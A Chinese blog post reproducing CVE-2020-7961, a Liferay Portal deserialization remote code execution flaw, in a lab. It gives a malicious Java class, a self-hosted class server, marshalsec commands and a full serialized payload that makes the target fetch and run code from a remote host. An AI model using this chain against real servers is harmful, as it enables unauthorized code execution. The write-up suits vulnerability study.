Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

  • A+
所属分类:安全文章

漏洞描述

 

近日,Code White公开了在Liferay Portal中发现的JSON反序列化高危漏洞,未授权的攻击者可以通过精心构造的恶意数据对API接口发起远程代码执行的攻击.

Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户。

环境

windows 10

jre-8u161

liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761.tar.gz

配置环境

下载

https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1

下载带tomcat的集成版,接下来就可以运行了,安装过程一路默认配置即可(需要前置java环境)

Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

设置jre路径,编辑

C:UsersHacker_DragonDesktopliferay-ce-portal-7.2.0-ga1tomcat-9.0.17binsetclasspath.bat


添加

set JRE_HOME=C:Program FilesJavajre1.8.0_161


Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

开启环境

C:UsersHacker_DragonDesktopliferay-ce-portal-7.2.0-ga1tomcat-9.0.17bincatalina.bat run


Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

安装完成

 

漏洞复现

首先准备一个恶意的Java类,编译:

public class exp {static {    try {            String[] cmd = {"bash", "-c", "touch /tmp/success"};            java.lang.Runtime.getRuntime().exec(cmd).waitFor();        } catch ( Exception e ) {            e.printStackTrace();        }    }}


Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

在保存着class文件的目录下运行一个HTTP文件服务:

python3 -m http.server


Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec来生成一个适用于Jackson的POC:

mvn clean package -DskipTests

Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://192.168.220.137:8000/ exp


Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

生成的Payload是Jackson使用的,我们只需按照Liferay Portal的形式,即+参数名:类名=值,来修改这个Payload:

["com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",{"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a707070707070707070707874000365787074001c687474703a2f2f3139322e3136382e3232302e3133373a383030302f740003466f6f;"}]


Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

本文始发于微信公众号(锋刃科技):Liferay Portal 代码执行漏洞(CVE-2020-7961)复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: